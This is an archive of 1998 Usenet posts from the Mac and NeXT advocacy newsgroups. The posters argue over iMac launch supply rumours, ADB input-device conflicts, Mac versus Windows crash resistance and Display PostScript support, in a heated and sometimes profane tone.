> > > > > > is reporting, but factor in a huge increase due to what measures
> > > > > > macorumors reports (working all night, highering more people, etc etc)
> > > > > >
> > > > > > So by the 15th, thats 40k machines. Add 10 k since the report
> is probably
> > > > > > at least a couple of days. 1 week after its introduced, that
> would be 75k
> > > > > > machines made, lets factor in a error margin and bump it up to
> 100k non
> > > > > > defective machines made the 1 week after. Lets also assume that
> all the
> > > > > > machines first go to people who have preorders.
> > > > > >
> > > > > > So 1 week after the imac is available 2/3rds of those who put up money
> > > > > > ahead of time still dont have a imac. Isnt this a BAD THING ?
> > > > > >
> > > > > > FInancially (if you only consider the short term) its no big
> deal, I mean
> > > > > > they are selling everything they can make. But it seems like
> very very
> > > > > > bad pr.
> > > > > >
> > > > > > But, I didnt emphasize this enough... Who the hell is Robert Cringely
> > > > > anyways?
> > > > > > Take back anything bad I may have insinuated about apple in this
> post.
> > > > > > *IF* this RObert Cringely were correct, what I said was true.
> But I find
> > > > > > it VERY VERY VERY dubious of a claim that apple has only built
> 5000 imacs
> > > > > > so far.
> > > > >
> > > > > It's called "lead time". He probably wrote his article a month ago. Even
> > > > > then, it's generally not good practice to consider unnamed inside
> sources
> > > > > as reliable.
> > > >
> > > > I suggest you read it for clarity. In it you will find the following:
> > > >
> > > > "They plan to have at least the first 30,000 of these machines in stores
> > > by next Friday. That, I doubt. As of last week, only about 5,000 iMacs had
> > > been produced."
> > > >
> > > > The point of reference is clear, "as of last week" refers to some day
> > > within the week ending 8/1.
> > >
> > > It's interesting, but unsubstantiated.
> >
> > Indeed, Joe's suppostion that the article was a month old was
> interesting and unsubstantiated. Thanks for taking the time to point it
> out. <snicker
>
> You know damned well what I mean.
> Nice dodge, though.
Why, thank you.
>
>
>
> >
> >
> > > Where did he get the information that only 5000 machines had been produced?
> >
> > Tell you what, you take it up wth Cringely.
>
> Cringely's a boob.
>
Well, some of the other web sites are beginning to report what Cringely wrote, albeit without numbers. Ric Ford, today. As the Apple Turns, today.
>
>
> >
> > > Ever stopped to think that Cringely's been supplied with disinformation?
> >
> > Indeed I have. Which is why I've made sure to reflect that the
> information comes from him.
>
> Sure as hell seems like you're pretty impressed with his take on the iMac
> situation.
> Enough to bring it up here, wouldn't you say?
> Tell me I'm wrong.
> (This is gonna be good).
You're wrong. Happy?
>
>
>
>
> >
> > > Guess you were too busy rubbing your hands with glee at the prospect of
> > > being able to
> > > dash off FUD like this in your favorite newsgroup, eh?
> >
> > Wouldn't be the first (nor the last) time you were wrong. I read the
> article in one of the "standard" Mac newsgroups, "MacSurfer's Headline
> news. If they thought it was worth having a link to, why would it not be
> worth bringing up here?
>
> If you've bookmarked the MacSurfer site, then you'd know that they
> frequently link to all kinds of rabid anti-Mac
> bullshit that makes the press. They just don't bother to qualify it for
> the reader, like Feeding Frenzy or some of the
> Mac advocacy watchdog sites do.
Oooh. What are the odds that Mac advocacy sites will say negative things about Apple, no matter their veracity?
> Nice try, though.
Try hitting the web sites today. Friday's getting closer, what number do you want for the backlog pool?
--
Further, you make grammar errors, show mistakes in word choice, and
commit logical fallacies regularly. I don't. On top of all that,
you like a shithouse on fire.
Guess who? in <5o1nmn$4qc@dfw-ixnews5.ix.netcom.com>
From: NeedALight?@NOT.netcom.com (Goin' Nova)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Date: 10 Aug 1998 20:52:24 GMT
Organization: Flames-R-Us
Message-ID: <NeedALight?-1008981404000001@166.oakland-01.ca.dial-access.att.net>
References: <joe.ragosta-0708981530570001@wil31.dol.net> <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net> <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net> <NeedALight?-0808981054420001@240.oakland-01.ca.dial-access.att.net> <TheLidlessEyeTh-0908981619300001@digital-00-09.hou.neoworld.net> <joe.ragosta-1008980831470001@wil81.dol.net>
Mail-Copies-To: never
Otherwise_Known_As: John Hausmann
In article <joe.ragosta-1008980831470001@wil81.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article
> <TheLidlessEyeTh-0908981619300001@digital-00-09.hou.neoworld.net>,
> TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet) wrote:
>
> > In article
> > <NeedALight?-0808981054420001@240.oakland-01.ca.dial-access.att.net>,
> > NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> >
> > > With an 11% failure rate,it's easy to understand why Apple is proceeding
> > cautiously. Would you like to be one of the better than 1 in 10 who takes
> > possession only to have to return it? Returns of that magnitude would kill
> > Apple with expense *and* bad press.
> >
> > Whoa! Slow down, troll!
> > You still need to provide some factual basis for this "11% failure rate."
> > Until you can come up with something that corroborates Cringely's
> > blathering, you're
> > still fullOshit, as usual.
>
> Actually, if he had merely said "rumored 11% failure rate", his statement
> wouldn't be so bad.
>
> Of course, no one has ever made any evaluations on when the 11% rate was
> determined and whether it's bad or not. It's quite plausible that at the
> very start of production that 1 out of 10 machines might be bad and this
> might be completely normal. Production startup problems are very common.
> Even Cringely admits that his rumored 11% figure was at the start of
> production. What really matters is what the failure rate is after they get
> ramped up.
At last, a Ragosta post I can agree with. OF course, Joe, when you snipped the preceding quoted material that provided context, "rumored" became required.
--
Further, you make grammar errors, show mistakes in word choice, and
commit logical fallacies regularly. I don't. On top of all that,
you like a shithouse on fire.
Guess who? in <5o1nmn$4qc@dfw-ixnews5.ix.netcom.com>
From: Brian Oberquell <boberque@starvision.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 10 Aug 1998 13:53:10 -0700
Organization: Starvision Multimedia Corp.
Message-ID: <35CF5DB6.94B48E78@starvision.com>
References: <6qloli$8hs$1@nnrp1.dejanews.com> <B1F40DA8-326FA6@204.31.112.111> <6qneou$951$1@nnrp1.dejanews.com>
Mime-Version: 1.0
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There used to be a problem with Kensington and Gravis products that was related
to how the Kensington software "hijacked" the ADB and didn't allow it to
recognize other ADB devices; it was possible to manually tell the Kensington s/w
to ignore other ADB devices and let them exist, and they fixed the problem in
later versions of the software; I think they still offer the capability of
manually setting up device ID bypasses but I'm not sure as my TurboMouse and MW5
software works fine for me as is with my Gravis sticks/pads; I don't use any
other third-party devices.
There also used to be (don't know if it still exists) a conflict between Gravis
devices and Adesso keyboards -- IIRC the reason being that, while Gravis worked
with Apple to get an ADB ID number assigned, Adesso just picked one to use and it
conflicted with the ADB ID that the Gravis device was using...
(Another) Brian
quinlan@intergate.bc.ca wrote:
> I have neither an Adesso nor a Turbomouse. The problem is that when the
> trackpad on the Adesso is touched, the computer crashes. I heard of this
> problem when someone contacted me asking if a freeware control panel that I
> wrote would fix it. It wasn't designed to do that but I was interested in the
> problem so I downloaded MouseWorks. The MouseWorks software does some
> interesting things but without the Turbomouse it's pretty hard to test. So I
> called Kensignton and asked them about the problem. They said that their
> products are not compatible with Adesso products. I also wonder if this
> problem occurs with the MouseWorks software and the SideWinder which also
> uses two ADB addresses.
>
> --
> Brian Quinlan
> quinlan@intergate.bc.ca
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
> http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: rkuo@seas.upenn.edu (Richard Kuo)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 10 Aug 1998 20:21:00 GMT
Organization: MindSpring Enterprises
Message-ID: <35cf5221.5777000@news.mindspring.com>
References: <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <6q84ju$pc6$1@plo.sierra.com> <joe.ragosta-0508980757270001@wil62.dol.net> <35d29182.145288125@news.mindspring.com> <joe.ragosta-1008980826090001@wil81.dol.net>
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On Mon, 10 Aug 1998 08:26:08 -0400, joe.ragosta@dol.net (Joe Ragosta)
wrote:
>In article <35d29182.145288125@news.mindspring.com>, rkuo@seas.upenn.edu wrote:
>
>> On Wed, 05 Aug 1998 07:57:26 -0400, joe.ragosta@dol.net (Joe Ragosta)
>> wrote:
>>
>> >In article <6q84ju$pc6$1@plo.sierra.com>, "Earl Malmrose"
>> ><earl.malmrose@nospam.sierra.com> wrote:
>> >
>> >> Joe Ragosta wrote in message ...
>
>> >> >Until you can provide some evidence, you lose.
>> >>
>> >> No, you lose. A bug in a Windows app is less likely to crash the
>system than
>> >> a bug in a Mac app. Several examples have been posted that crash
>MacOS, none
>> >> that crash Windows. It likely follows, that MacOS will crash more often,
>> >> unless you can prove that Mac apps have far fewer bugs. Prove it.
>> >
>> >So I'm supposed to prove your assertion for you? No thanks. So you're
>> >admitting that you have no evidence to back up your position. I didn't
>> >think so.
>>
>> Joe, your willingness to debate a programming issue you
>> clearly have no understanding of is simply inane. I don't understand
>> why you insist on making comparisons that have no relationship to the
>> original point. Well, actually, I do think I know why you are doing
>> it, but....the fact, is, he has a preponderance of the evidence and
>> you have nothing.
>>
>> If anyone needs proof that you are horribly biased, this is
>> it.
>
>Because I demand evidence?
>
>I already admitted that, in theory, Win95 is a better system for crash
>resistance.
>
>But practice doesn't always follow theory. My demand for evidence that the
>theory is followed in practice proves that I'm "horribly biased"?
>
>You seem to have a strange definition of bias.
Fine. Then explain why you would compare viruses, which are a
deliberate attempt by a malicious programmer to crash a system, with
memory access violations, which are errors on the part of the
programmer and would ideally be trapped by the OS.
Then explain why, if you understood the difference, you would
make such a meaningless comparison. Also explain why, if you didn't
understand the difference, you would attempt to mislead others by
conjecturing about things you don't understand.
If you actually require proof that memory access violations
are a common problem IN PRACTICE, then just go ahead and post in all
the advocacy groups that they are not and then explain why they are
not a problem. I'm telling you that they are a problem because it is
difficult for a programmer to keep track of pointers to memory for all
cases of different sizes and other test cases and sometimes a pointer
will be uninitialzed or overrun where it's not supposed to go...and
then BOOM!
Better yet, don't respond at all, because you have no
defensible position.
============================================
Visit The Silicon Edge at:
http://siliconedge.ml.org
Comprehensive reviews of computer hardware and software,
plus daily updates with the best and the latest news!
From: NeedALight?@NOT.netcom.com (Goin' Nova)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What the F*CK's up with the imac?
Date: 10 Aug 1998 21:37:01 GMT
Organization: Flames-R-Us
Message-ID: <NeedALight?-1008981448380001@166.oakland-01.ca.dial-access.att.net>
References: <macghod-1008981117300001@sdn-ar-002casbarp028.dialsprint.net>
Mail-Copies-To: never
Otherwise_Known_As: John Hausmann
In article <macghod-1008981117300001@sdn-ar-002casbarp028.dialsprint.net>, macghod@concentric.net (Steve Sullivan) wrote:
> First, I was worried about Apple having enough units to meet demand.
> But then, I assumed Cringely was just being spun by APple. But lets
> assume Apple will have plenty of imacs, why spin this way?
>
> From techweb today, says many stores are scaling back their imac
> promotions because they doubt they will get enough imacs. It would make
> no sense for apple to spin this cringely guy this way, maybe a anti apple
> faction gave him the misinformation?
If you haven't had the chance, visit "As The Apple Turns" (http://www.infoxczar.com/atat/) for their take on it. I thought the part about CompUSA's iMac Sunday advertising insert was particularly humorous.
--
Further, you make grammar errors, show mistakes in word choice, and
commit logical fallacies regularly. I don't. On top of all that,
you like a shithouse on fire.
Guess who? in <5o1nmn$4qc@dfw-ixnews5.ix.netcom.com>
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Hello.
Date: Mon, 10 Aug 1998 14:59:35 -0700
Organization: University of British Columbia
Message-ID: <1ddjvg9.1xq34t51orcrwgN@p027.intchg1.net.ubc.ca>
References: <35CDF146.289C37E@nowhere.com> <6qn17s$s8f@shelob.afs.com>
Gregory H. Anderson <Greg_Anderson@afs.com> wrote:
> The Name Nobody Wanted <noone@nowhere.com> writes
> > I think the Next computer is really dumb. Didn't they go out of
> > business? I thought they did. Oh well. Gotta go the bathroom now.
> > Bye-bye.
>
> Finally, some intelligent discussion on this newgroup. About time.
And space.
--
Bruce Bennett
From: "Jonathan Hendry" <jon@steeldriving.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 10 Aug 1998 22:11:11 GMT
Organization: Steel Driving Software
Message-ID: <01bdc4d5$b5795db0$74b4dccf@samsara>
References: <6qmve8$1dk@newsb.netnews.att.com> <6qn4ct$1qv@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in article
<6qn4ct$1qv@newsb.netnews.att.com>...
>
> http://www.zdnet.com/pcweek/news/0803/05ent.html
>
> says that MS is within 100 critical bugs of delivering beta 2.
> This newsitem is dated August 5.
I have to wonder what criteria MS uses to determine whether a
bug is 'critical'.
Evidently not the bug that makes NT 4 (w/ SP 3) crash when I insert
a Zip disk.
- Jon
From: billa@uiuc.edu (Bill Altenberger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What the F*CK's up with the imac?
Date: Mon, 10 Aug 1998 17:17:30 -0500
Organization: Just me
Message-ID: <billa-1008981717310001@archbald-33.slip.uiuc.edu>
References: <macghod-1008981117300001@sdn-ar-002casbarp028.dialsprint.net>
In article <macghod-1008981117300001@sdn-ar-002casbarp028.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> First, I was worried about Apple having enough units to meet demand.
> But then, I assumed Cringely was just being spun by APple. But lets
> assume Apple will have plenty of imacs, why spin this way?
>
> From techweb today, says many stores are scaling back their imac
> promotions because they doubt they will get enough imacs. It would make
> no sense for apple to spin this cringely guy this way, maybe a anti apple
> faction gave him the misinformation?
I hardly think Cringely was spun. He probably is just making a guess
that the iMac release will be similiar to other Mac CPU releases. They
tend to ramp up production. Apple isn't the only firm that does it.
Compaq and IBM have had similiar waits with their hot new notebooks.
I remember waiting 2 - 3 months for IBM 560's and the Compaq Armada(sp?)
to become avail to mere mortals.
Bill
>
From: "Jonathan Hendry" <jon@steeldriving.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: 10 Aug 1998 22:17:03 GMT
Organization: Steel Driving Software
Message-ID: <01bdc4d6$87897560$74b4dccf@samsara>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <kindall-0608981833260001@nic-c41-094.mw.mediaone.net> <B1EF8E4C-21EAA@206.165.43.105> <19980807090337288881@pm2-1-27.aug.com>
Rick Hatton <hattonr@aug.com> wrote in article
<19980807090337288881@pm2-1-27.aug.com>...
> Lawson English <english@primenet.com> wrote:
>
> > software to the continued well-being of Apple. Amelio wanted MS Office
for
> > Rhapsody + $1 billion. Jobs settled for $150 milllion plus MS Office
for
> > MacOS and then changed the name of Rhapsody to MacOS.
>
>
> Thank you for reminding everyoneof this. I get a little tired of hearing
> the "Jobs is Apple's Savior and Amelio nearly killed it" routine.
The money was not important. MSOffice for Mac is *priceless* for Apple,
and worth infinitely more than the $1 billion Amelio wanted.
If Amelio was focused on the money, he's an idiot.
From: NeedALight?@NOT.netcom.com (Goin' Nova)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What the F*CK's up with the imac?
Date: 10 Aug 1998 22:35:30 GMT
Organization: Flames-R-Us
Message-ID: <NeedALight?-1008981547070001@166.oakland-01.ca.dial-access.att.net>
References: <macghod-1008981117300001@sdn-ar-002casbarp028.dialsprint.net> <billa-1008981717310001@archbald-33.slip.uiuc.edu>
Mail-Copies-To: never
Otherwise_Known_As: John Hausmann
In article <billa-1008981717310001@archbald-33.slip.uiuc.edu>, billa@uiuc.edu (Bill Altenberger) wrote:
> In article <macghod-1008981117300001@sdn-ar-002casbarp028.dialsprint.net>,
> macghod@concentric.net (Steve Sullivan) wrote:
>
> > First, I was worried about Apple having enough units to meet demand.
> > But then, I assumed Cringely was just being spun by APple. But lets
> > assume Apple will have plenty of imacs, why spin this way?
> >
> > From techweb today, says many stores are scaling back their imac
> > promotions because they doubt they will get enough imacs. It would make
> > no sense for apple to spin this cringely guy this way, maybe a anti apple
> > faction gave him the misinformation?
>
>
> I hardly think Cringely was spun. He probably is just making a guess
> that the iMac release will be similiar to other Mac CPU releases. They
> tend to ramp up production. Apple isn't the only firm that does it.
> Compaq and IBM have had similiar waits with their hot new notebooks.
> I remember waiting 2 - 3 months for IBM 560's and the Compaq Armada(sp?)
> to become avail to mere mortals.
Real problem is if Apple has grossly underestimated demand. If Cringely's numbers are even close to correct, Apple will miss out on the opportunity to sell to the back to school (note for Lawson, "home") crowd. School's starting up soon and Mom/Pop will be buying what's available ....
--
Further, you make grammar errors, show mistakes in word choice, and
commit logical fallacies regularly. I don't. On top of all that,
you like a shithouse on fire.
Guess who? in <5o1nmn$4qc@dfw-ixnews5.ix.netcom.com>
From: "Thomas Long" <pcmacguy@mailexcite.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What the F*CK's up with the imac?
Date: Mon, 10 Aug 1998 19:07:08 -0400
Organization: Shore.Net/Eco Software, Inc; (info@shore.net)
Message-ID: <6qnuc3$5m2@fridge.shore.net>
References: <macghod-1008981117300001@sdn-ar-002casbarp028.dialsprint.net> <billa-1008981717310001@archbald-33.slip.uiuc.edu> <NeedALight?-1008981547070001@166.oakland-01.ca.dial-access.att.net>
The CompUSA I deal with for a school system claims something close to 200
iMAC pre-orders as of Friday. There are concerns that the full 200 will not
be recieved by the 15th. I've been told that sharp pricing on current G3's
have switched a few people to the standard MAC line of computers. I'd bet
that if production delays on the iMAC occur there will be some switching to
other models rather than deposit refunds. The salesperson gave out this
information very unofficially.
Goin' Nova wrote in message ...
>In article <billa-1008981717310001@archbald-33.slip.uiuc.edu>,
billa@uiuc.edu (Bill Altenberger) wrote:
>
>> In article
<macghod-1008981117300001@sdn-ar-002casbarp028.dialsprint.net>,
>> macghod@concentric.net (Steve Sullivan) wrote:
>>
>> > First, I was worried about Apple having enough units to meet demand.
>> > But then, I assumed Cringely was just being spun by APple. But lets
>> > assume Apple will have plenty of imacs, why spin this way?
>> >
>> > From techweb today, says many stores are scaling back their imac
>> > promotions because they doubt they will get enough imacs. It would
make
>> > no sense for apple to spin this cringely guy this way, maybe a anti
apple
>> > faction gave him the misinformation?
>>
>>
>> I hardly think Cringely was spun. He probably is just making a guess
>> that the iMac release will be similiar to other Mac CPU releases. They
>> tend to ramp up production. Apple isn't the only firm that does it.
>> Compaq and IBM have had similiar waits with their hot new notebooks.
>> I remember waiting 2 - 3 months for IBM 560's and the Compaq Armada(sp?)
>> to become avail to mere mortals.
>
>Real problem is if Apple has grossly underestimated demand. If Cringely's
numbers are even close to correct, Apple will miss out on the opportunity to
sell to the back to school (note for Lawson, "home") crowd. School's
starting up soon and Mom/Pop will be buying what's available ....
>--
>Further, you make grammar errors, show mistakes in word choice, and
>commit logical fallacies regularly. I don't. On top of all that,
>you like a shithouse on fire.
>Guess who? in <5o1nmn$4qc@dfw-ixnews5.ix.netcom.com>
From: frank@REMOVE_SPAMLOCK.wizards.de (Frank M. Siegert)
Newsgroups: comp.sys.next.advocacy
Subject: Re: why no display postscript?
Date: 10 Aug 1998 23:46:46 GMT
Organization: Frank's Area 51
Message-ID: <6qo0p6$59q$1@news.seicom.net>
References: <biggus.FILTER-3007981505130001@tele-anx0229.colorado.edu> <6pqpgk$a0n$2@news.spacelab.net>
<6ps985$5c1$1@sun27.hrz.tu-darmstadt.de> <6qbe66$fv0$1@news2.alpha.net>
<35cce6aa.0@news.camtech.net.au>
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Cc: timothyp@tne.net.au
In <35cce6aa.0@news.camtech.net.au> "Timothy Priest" wrote:
> Just to qualify. Directly previewing postscript code is a BIG thing.
Having
> justr finished a PhD thesis with 100's of EPS files embedded I can honestly
> sayit would have been a lot easier for me if I had true WYSIWYG previewing
of
> the Graphics. The pict preview I get now is just bloody terrible. Its
like a
> blind man has drawn something explained to him with an etch-a-sketch.
Excuse my
> ignorance but can someone point me to "Frank Siegert" or some info about
how
> this will be overcome in OS X.
Sorry, I do not qualify for messias! :-) However there will be a MacOS X
version of PStill. PStill is a PS-to-PDF converter I wrote for
NeXTSTEP/OpenSTEP, just see my web pages for more info.
--
* Frank M. Siegert [frank@wizards.de] - Home http://www.wizards.de
* NeXTSTEP, IRIX, Solaris, Linux, BeOS, PDF & PostScript Wizard
* Note: [frank@this.net] is still a valid option to send me eMail
* "The answer is vi, what was your question...?"
From: billa@uiuc.edu (Bill Altenberger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What the F*CK's up with the imac?
Date: Mon, 10 Aug 1998 19:12:08 -0500
Organization: Just me
Message-ID: <billa-1008981912090001@archbald-33.slip.uiuc.edu>
References: <macghod-1008981117300001@sdn-ar-002casbarp028.dialsprint.net> <billa-1008981717310001@archbald-33.slip.uiuc.edu> <NeedALight?-1008981547070001@166.oakland-01.ca.dial-access.att.net>
In article
<NeedALight?-1008981547070001@166.oakland-01.ca.dial-access.att.net>,
NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> In article <billa-1008981717310001@archbald-33.slip.uiuc.edu>,
billa@uiuc.edu (Bill Altenberger) wrote:
>
> > In article <macghod-1008981117300001@sdn-ar-002casbarp028.dialsprint.net>,
> > macghod@concentric.net (Steve Sullivan) wrote:
> >
> > > First, I was worried about Apple having enough units to meet demand.
> > > But then, I assumed Cringely was just being spun by APple. But lets
> > > assume Apple will have plenty of imacs, why spin this way?
> > >
> > > From techweb today, says many stores are scaling back their imac
> > > promotions because they doubt they will get enough imacs. It would make
> > > no sense for apple to spin this cringely guy this way, maybe a anti apple
> > > faction gave him the misinformation?
> >
> >
> > I hardly think Cringely was spun. He probably is just making a guess
> > that the iMac release will be similiar to other Mac CPU releases. They
> > tend to ramp up production. Apple isn't the only firm that does it.
> > Compaq and IBM have had similiar waits with their hot new notebooks.
> > I remember waiting 2 - 3 months for IBM 560's and the Compaq Armada(sp?)
> > to become avail to mere mortals.
>
> Real problem is if Apple has grossly underestimated demand. If
Cringely's numbers are even close to correct, Apple will miss out on the
opportunity to sell to the back to school (note for Lawson, "home") crowd.
School's starting up soon and Mom/Pop will be buying what's available ....
You did raise a good issue. The idea of the Apple online store is to
give Apple customers what they want(build to order). It appears that
the iMac is at odds with that goal. It seems that Apple will have
to forcast demand for their major retailers such as CompUSA.. It will
be interesting to see how it works out.
Bill
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: Solution to Imac SUCKS for games
Date: Thu, 06 Aug 1998 11:39:24 -0600
Organization: Stone Entertainment
Message-ID: <stone-0608981139240001@rc-pm3-1-41.enetis.net>
References: <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net>
In article <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
(snip)
> And in the future, apple should get a clue. Cards for the pc that kick
> vodoo 2's butts are about to come out, and neither them nor even the vodoo
> 2 are available for the mac. Jobs needs to take his RDF gun with him and
> visit some of the card makers, maybe have a agp slot on all new desktop
> (as in non portable) macs, and get a some of these companies like the one
> that makes the riva to make drivers available for the mac, and bundle them
> with macs.
I agree with most of your post Steve, but PLEASE stick with the facts.
VooDoo 2 is becoming available for the Mac. As with most "frivolous"
consumer hardware, these cards are proven successful in the larger market
before they will risk capital in the smaller market. If you've noticed,
most PC games are only NOW being upgraded to support VooDoo 2. The timing
for a Mac release is just about right.
--
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: mmp5@axe.humboldt.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 11 Aug 1998 00:58:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qo4vf$99d$1@nnrp1.dejanews.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <casper-0808980633340001@acorn-a-40.oakmont.nb.net> <35cc74c1.22951144@news.iafrica.com> <casper-0908980912140001@acorn-b-05.oakmont.nb.net>
In article <casper-0908980912140001@acorn-b-
05.oakmont.nb.net>,
casper@nb.net (Tim Scoff) wrote:
> In article <35cc74c1.22951144@news.iafrica.com>, cquirke@iafrica.com wrote:
>
> >On Sat, 08 Aug 1998 12:29:05 GMT, casper@nb.net (Tim Scoff) wrote:
> >>In article <35CC0CA9.5AEEF798@algonet.se>, Petri Holopainen
> >
> >Wonderful what you can do when you have an OS *and* hardware monopoly.
>
> Darn straight. Things work the way they are supposed to work. But
> there are a ton of third party hardware options that Apple doesn't sell
> and the way Apple does things is they say, "Write to this set of specs and
> your hardware will work on every Mac" and surprise surprise when I plugged
> 3 video cards and 4 monitors into my Mac and rebooted everything just
> worked! Not one of the video cards or monitors was made by Apple by the
> way.
>
> >>Plus every Mac for the last 5-6 years has been able to boot from the
> >>CD ROM drive so you just put the CD ROM drive in and reboot and
> >>you're ready to do a clean install.
> >
>
> >> You've been very lucky. I'm fighting to get IIS 4 to install on my NT
> >>server right now and it's been a nightmare.
> >
> >Irrelevant. IIS4 and NT aren't Win95.
>
> Very relevant. They are MS products that I am attempting to install by
> following MS's directions to the letter. The NT install goes perfectly
> every time I do it, but the IIS install doesn't work when I install it the
> way I'm supposed to install it!
>
Not to mention that Win98 is the last of its line,
after that it is all NT from MS. Better get used to
it, or think of trying something different...;-)
--
> Tim Scoff
> casper@nb.net
> http://www.nb.net/~casper/
>
> Imagine that CRAY decides to make a personal computer. It contains 16 Alpha based processors executing in parallel, has 800 megabytes of RAM, 100 Gigabytes of disk storage, a resolution of 4096 x 4096 pixels, does 24bit 3D graphics in realtime, relies entirely on voice recognition for input, fits in your shirt pocket and costs $300. What is the first question the computer community asks?
>
> "Is it DOS compatible?"
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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Date: Mon, 10 Aug 1998 21:14:09 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-1008982114090001@elk41.dol.net>
References: <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <6q84ju$pc6$1@plo.sierra.com> <joe.ragosta-0508980757270001@wil62.dol.net> <35d29182.145288125@news.mindspring.com> <joe.ragosta-1008980826090001@wil81.dol.net> <35cf5221.5777000@news.mindspring.com>
In article <35cf5221.5777000@news.mindspring.com>, rkuo@seas.upenn.edu wrote:
> On Mon, 10 Aug 1998 08:26:08 -0400, joe.ragosta@dol.net (Joe Ragosta)
> wrote:
>
> >In article <35d29182.145288125@news.mindspring.com>,
rkuo@seas.upenn.edu wrote:
> >
> >> If anyone needs proof that you are horribly biased, this is
> >> it.
> >
> >Because I demand evidence?
> >
> >I already admitted that, in theory, Win95 is a better system for crash
> >resistance.
> >
> >But practice doesn't always follow theory. My demand for evidence that the
> >theory is followed in practice proves that I'm "horribly biased"?
> >
> >You seem to have a strange definition of bias.
>
> Fine. Then explain why you would compare viruses, which are a
> deliberate attempt by a malicious programmer to crash a system, with
> memory access violations, which are errors on the part of the
> programmer and would ideally be trapped by the OS.
Because the person I was responding to demanded a piece of code which
would crash the OS. They never said it had to be accidental.
>
> Then explain why, if you understood the difference, you would
> make such a meaningless comparison. Also explain why, if you didn't
> understand the difference, you would attempt to mislead others by
> conjecturing about things you don't understand.
Meaningless? Their claim was that Mac OS was too easy to crash. Seems to
me that all the Wintel viruses show that this property isn't unique to
Macs.
>
> If you actually require proof that memory access violations
> are a common problem IN PRACTICE, then just go ahead and post in all
> the advocacy groups that they are not and then explain why they are
> not a problem. I'm telling you that they are a problem because it is
> difficult for a programmer to keep track of pointers to memory for all
> cases of different sizes and other test cases and sometimes a pointer
> will be uninitialzed or overrun where it's not supposed to go...and
> then BOOM!
Sure. In theory. Even in practice, perhaps. But in real life, my WinNT box
crashed more than my Mac. I'm not interested in theory--I want real life
evidence.
>
> Better yet, don't respond at all, because you have no
> defensible position.
IOW, you don't have any evidence to refute my position.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: mmp5@axe.humboldt.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
